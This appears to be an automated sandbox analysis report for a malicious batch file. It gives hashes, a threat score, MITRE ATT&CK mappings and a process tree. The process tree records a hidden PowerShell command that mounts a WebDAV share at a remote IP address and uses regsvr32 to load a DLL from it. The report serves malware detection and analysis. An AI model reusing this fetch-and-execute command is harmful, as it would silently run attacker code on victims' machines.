22ef34d109b249f69271589bcd637260f18253622671cef13868829f57e2bb9b

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 22:16

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General

Target

1568576003037825211.bat
Size

16KB
MD5

8328f1f9fc083be523551d748f9f25c9
SHA1

233099d0efcd3405eddb74091bf557d1af195a51
SHA256

22ef34d109b249f69271589bcd637260f18253622671cef13868829f57e2bb9b
SHA512

5a501ae297b7fd4fbbf20cf4973e9f9dc490ce32690a424d2f7a08af364f2a6d126a4fc9fde23ac52b581cc10d56c572b0333611f378c72312be6696fd5af394
SSDEEP

384:ZHS5V+HXkzt3UrbasYDDULs8IH7BpduYLjPUVBIarkhf1B:ZHSW3kVUPasqDcIlpduYfPUVIh9B

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2720	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2156	wordpad.exe
2156	wordpad.exe
2156	wordpad.exe
2156	wordpad.exe
2156	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1316 wrote to memory of 2156	1316	cmd.exe	32
PID 1316 wrote to memory of 2156	1316	cmd.exe	32
PID 1316 wrote to memory of 2156	1316	cmd.exe	32
PID 1316 wrote to memory of 2720	1316	cmd.exe	33
PID 1316 wrote to memory of 2720	1316	cmd.exe	33
PID 1316 wrote to memory of 2720	1316	cmd.exe	33
PID 2720 wrote to memory of 2784	2720	powershell.exe	35
PID 2720 wrote to memory of 2784	2720	powershell.exe	35
PID 2720 wrote to memory of 2784	2720	powershell.exe	35
PID 2720 wrote to memory of 2700	2720	powershell.exe	36
PID 2720 wrote to memory of 2700	2720	powershell.exe	36
PID 2720 wrote to memory of 2700	2720	powershell.exe	36
PID 2720 wrote to memory of 2700	2720	powershell.exe	36
PID 2720 wrote to memory of 2700	2720	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1568576003037825211.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\211631960111118.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2784
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\211631960111118.dll
    3⤵
    PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2720-24-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2720-23-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download